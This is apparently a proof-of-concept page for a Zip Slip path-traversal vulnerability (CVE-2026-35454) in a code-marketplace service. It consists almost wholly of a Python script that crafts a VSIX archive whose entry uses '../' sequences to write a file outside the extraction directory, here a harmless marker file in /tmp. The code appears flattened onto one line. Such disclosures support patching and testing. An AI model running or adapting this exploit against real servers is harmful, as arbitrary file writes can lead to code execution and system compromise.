CVE-2026-35454 code-marketplace Zip Slip漏洞

import zipfile import os def create_malicious_vsix(output_filename): """ Creates a malicious VSIX file demonstrating the Zip Slip vulnerability. The file contains an entry with path traversal sequences ('../'). """ with zipfile.ZipFile(output_filename, 'w') as zf: # Construct a path that escapes the extraction directory malicious_path = "../../../../../tmp/poc.txt" # Write arbitrary content to the malicious path zf.writestr(malicious_path, b"This file was written via Zip Slip vulnerability.") print(f"[+] Malicious VSIX file created: {output_filename}") print(f"[+] Payload path: {malicious_path}") if __name__ == "__main__": create_malicious_vsix("exploit.vsix")